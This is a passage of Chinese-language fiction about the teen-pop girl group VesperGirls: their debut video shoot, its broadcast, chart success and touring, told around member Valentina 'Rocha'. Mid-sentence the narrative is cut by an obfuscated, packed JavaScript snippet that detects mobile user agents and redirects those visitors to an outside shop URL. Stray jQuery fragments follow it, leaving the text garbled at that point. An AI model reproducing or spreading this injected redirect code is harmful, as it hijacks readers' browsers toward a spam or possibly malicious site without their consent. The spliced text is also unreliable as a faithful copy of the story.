出道单曲MV开拍那天，通告单上写的是凌晨四点半妆发。
瓦伦蒂娜被助理叫醒的时候，第一反应是伸手去摸手机。
第二反应是问：“现在是今天，还是昨天还没结束？”
没人回答她。
化妆拖车里冷得像冰箱。五个女孩排排坐着，被造型师、发型师、化妆师和临时助理围成一圈。Summer的卷发上夹了二十多个银色发夹，Jade眼下被贴了亮片，Lacey闭着眼听耳机，像已经决定用灵魂离开这里。
Denise坐在最里面，膝盖上贴着两块旧伤胶布，面无表情地看着造型师把她的运动短外套又往上别了一寸。
“再短一点，”Denise说，“我就不用穿它了。”
造型师认真看了看：“这是为了露腰线。”
Denise低头看自己的腰。
“我的腰线四点半不想见人。”
Jade打着哈欠笑出声。
瓦伦蒂娜正在让化妆师补唇线，闻言睁开一只眼。
“你跟它商量一下。”她说，“我们也不想见人，但都坐在这里了。”
Denise看她：“你那条裤子也没资格劝我。”
瓦伦蒂娜低头看了一眼自己的低腰牛仔裤。
“它至少很坦荡。”她说，“它从一开始就没打算保护任何人。”
Lacey摘下一边耳机，扫了她们一眼。
“所以这支组合的布料预算到底花到哪里去了？”
Summer笑得头发夹都晃了一下，立刻被发型师按住。
“别动，甜心。”发型师说，“你的卷发现在很脆弱。”
Denise冷冷道：“她的卷发都比我们的合同稳定。”
瓦伦蒂娜差点把唇线笑歪。
化妆师立刻捏住她的下巴：“别笑。”
她们安静了两秒。
然后又忍不住笑起来。
凌晨四点半的笑不响，带着困意，带着冷气，也带着一点终于确认“不是只有我一个人觉得这很荒唐”的安心。
那支MV的设定很简单。
放学后的校园。储物柜走廊。女生洗手间。空体育馆。停车场。
一群女孩在周五傍晚换掉校服、拿起唇蜜、穿上亮片吊带，终于把自己从万事都由别人规定的白天里偷出来。
导演说，这支MV要可爱、青春、明亮。
Denise听完，只问：“能别太傻吗？”
导演顿了一下。
“尽量。”
Lacey在旁边轻声说：“那就是不能保证。”
瓦伦蒂娜本来以为自己会从开头就出现。
结果导演把她放在副歌前。
Summer先坐在教室窗边唱第一句。她的声音亮，镜头也干净。Jade在储物柜前把唇蜜递给另一个女孩，笑得像一场不会被家长发现的小秘密。Lacey在音乐教室里按下一组和弦，明明只是teenpop，却被她唱得像有一点高级感。Denise在空体育馆里转身，鞋底擦过地板，像整首歌终于找到骨架。
然后才轮到Rocha。
她从女生洗手间推门出来。
粉色宽皮带。
低腰牛仔。
白色短衬衫。
大耳环。
唇蜜亮得像刚刚偷走了整条走廊的灯。
她身后跟着几个女孩，有人补口红，有人夹头发，有人低头笑。她没有立刻唱，只是抬眼看镜头。
好像在问：
你来不来？
导演在监视器后面说：“停。”
瓦伦蒂娜愣住：“我眨眼了吗？”
“没有。”导演盯着屏幕，“再来一次。”
她照做。
第二次，导演又喊停。
Denise从旁边探头：“她又抢拍了？”
“没有。”导演说，“她一抬头，画面就只剩她了。”
瓦伦蒂娜回头看Denise。
Denise摊手：“别看我。这种错我还没犯过。”
第三次，导演让她推门以后先别看镜头。
“先看镜子。”导演说，“看你身后的女孩，确认她们跟上了，再看镜头。”
瓦伦蒂娜点头。
“所以我要让镜头等我一下？”
导演笑了：“对。”
“好，那试试。”
这一版确实更好。
她推门，侧身，先看了一眼镜子里的女孩们。确认她们都跟上了，才抬眼看镜头。
那一秒，画面忽然不再只是一个漂亮女孩出场。
而是一个女孩带着其他女孩走出来。
副歌响起。
Summer唱第一句，Rocha接第二句，第三句五个人合上。
镜头往后退，五个人在走廊里跳副歌。Denise的动作最稳，Summer的声音最亮，Jade笑得像一颗粉色糖，Lacey的和声从后面托住。Rocha站在中间，不是把她们盖掉，而是像一只小小的开关。
她一出现，走廊后面的女孩也被带亮了。
拍到凌晨一点时，Jade累得坐在地上，把头靠在瓦伦蒂娜肩上。
“我脚趾没知觉了。”
瓦伦蒂娜低头看她：“那很好。它们已经学会不参与痛苦。”
Denise把水瓶递给Jade，顺手拍了瓦伦蒂娜一下。
“别说大实话。”
Summer靠在墙边护嗓，不能说话，只拿白板写：
`我再跳一次会死。`
Lacey在下面补了一句：
`死前先把第三遍拍好。`
五个人看着那块白板，忽然都笑了。
最后一遍副歌拍完，导演喊收工。
瓦伦蒂娜抱住离她最近的Jade，又被Summer从后面抱住。Denise本来站在旁边，硬是被瓦伦蒂娜一把拽进来。
“团队拥抱。”瓦伦蒂娜说。
Denise皱眉：“我不抱。”
“我们一起做了件大事。”瓦伦蒂娜说，“按规矩要抱一下。”
“谁的规矩？”
“我的。”
“那更不可信。”
Lacey慢吞吞走过来，加入得像赴刑。
瓦伦蒂娜说：“你看，我们是女团了。”
Lacey说：“我们是五个被发胶、亮片和睡眠不足捆绑在一起的人。”
瓦伦蒂娜想了想。
“也差不多。”
MV首播那天，她们挤在一间小休息室里看电视。
TRL下午场。
屏幕上主持人说出VesperGirls的名字时，Jade直接尖叫，Summer捂住嘴，Denise坐直，Lacey假装不在意，却把音量调大了两格。
瓦伦蒂娜站在沙发后面，一只手搭在Summer肩上。
MV开始。
她们先是笑。
笑自己的头发太夸张，笑Denise某个转身像要踢碎地板，笑Jade在储物柜前甜得像糖霜，笑Lacey明明不想可爱却被剪成了最酷的那个人。
然后副歌来了。
Rocha从洗手间推门出来。
休息室里忽然静了一秒。
电视里的她抬眼看镜头。
年轻，漂亮，宽皮带，亮唇蜜，像一个被制造出来的人偶，更是一个真的在发光的女孩。
瓦伦蒂娜忽然说不出话。
Summer回头看她：“你还好吗？”
“我看起来很贵。”瓦伦蒂娜还是没忍住自己的小得意。
Denise忍了两秒，失败，笑出声。
“你看起来像会被教导主任抓去擦唇蜜。”
“但她会记住我。”瓦伦蒂娜说，“一直。”
Lacey轻声说：“这倒是真的。”
MV播出后，Rocha的单人cut比公司预想得更快出现。
论坛里有人截她推门那一秒。
有人问皮带在哪里买。
有人问唇蜜色号。
有人学她拍照时不笑的样子。
有人把副歌第二句反复剪出来，说她嗓音很特别。
也有人说，VesperGirls有一个不会被人搞混的中心。
Denise看到最后一句：“很好，不用担心他们懒得分清我们。”
“怎么说？”Jade问。
“他们只会懒得分清Rocha和我们。”
瓦伦蒂娜本来正在喝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666273|206099||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
水，差点呛到。
“我听起来像反派。”
“你本来就像。”Lacey说。
Summer拿白板写：
`但至少是漂亮反派。`
瓦伦蒂娜把那块白板抱到胸前。
“谢谢，我会把这句写进简历。”
首单进入Hot100前十那天，她们在一辆开往商场巡演的车上。
车里全是化妆包、矿泉水、快餐纸袋、衣架和五个睡眠严重不足的少女。
经纪人接到电话，愣了两秒，然后回头说：
“Topten.”
车里安静了一秒。
然后Jade尖叫。
Summer哭了。
Denise骂了一句脏话。
Lacey捂住脸，很久才说：“我讨厌这首歌。”
瓦伦蒂娜扑过去抱她。
“别这样亲爱的，我们成功了！”
后来是白金单曲。
首专进Billboard200前三。
TRL日榜第一。
TeenChoice提名。
MTV新人奖表演邀约。
还有一封后来被她母亲装进透明文件袋的邮件：格莱美流行组合演唱类提名。
她们没有赢。
但那封邮件在她家餐桌上放了三天，父亲每次经过都要假装不经意地看一眼。
瓦伦蒂娜第一次觉得“红”不是排行榜上的数字，是巡演第三站。
一个小女孩排了两个小时队，把一支唇蜜递给她看。
“这是你的色号吗？”小女孩问。
那支唇蜜其实不是。
太粉了，太厚，也不适合她的肤色。
瓦伦蒂娜却认真看了看，说：“这个颜色很勇敢。”
小女孩睁大眼：“勇敢？”
“对。”瓦伦蒂娜拿过签字笔，在她的小本子上签名，“它知道自己吸引了别人的视线，也没打算收敛或者道歉。”
小女孩像听见了什么不得了的话。
“学校老师说太亮。”
“老师说很多话。”瓦伦蒂娜把本子递回去，“可以听一部分。不要全听。”
Denise在旁边低声说：“你刚刚教一个小孩不要听老师。”
“我说听一部分。”瓦伦蒂娜侧头，“我很负责任。”
Denise看了她两秒。
“你以后少接受采访。”
巡演很累。
她们在演播厅里唱，在游乐园舞台唱，在地方电台活动唱，在学校体育馆唱，唱到早上五点起床化妆，晚上在车里睡得东倒西歪。
Summer护嗓，贴纸条和大家交流。
Denise在自动贩卖机旁边压腿。
Jade收集粉丝送的小发卡，每天换一个别在包上。
Lacey一边嫌歌甜，一边在后台给大家调和声。
瓦伦蒂娜负责让气氛活跃起来，这对她来说通常是小菜一碟。
她可以轻而易举地说出只见过一次的工作人员名字。
也不会忘记给电台主持人送母亲烤的小饼干。
在Jade被男主持问“你们女团里谁最像是会抢别人男朋友”时，立刻接过话筒：
“我们共享唇蜜，不共享男朋友。”
全场笑。
Jade松了一口气。
Summer用白板写下：
`谢谢。`
她一直以来负责对外交流，承担着“队长”的责任。可当主持人问出那个问题的时候，她当时脑子里一片空白。
瓦伦蒂娜回她：
`不客气，团队服务，记得五星好评。`
那天晚上回酒店，Jade把粉丝送的小发卡一排排夹在包带上。Summer靠着窗睡着，白板还抱在怀里。Lacey把耳机分给Denise一只，两个最不爱说甜话的人并排听完一首甜得过分的歌。
车窗外是凌晨的高速和连在一起的广告灯牌。她把手机收起来，闭上眼，耳边还有粉丝们的尖叫。
Rocha。
Rocha。
Rocha。
声音从四面八方涌来。
她靠着椅背，慢慢把那句副歌在心里又唱了一遍。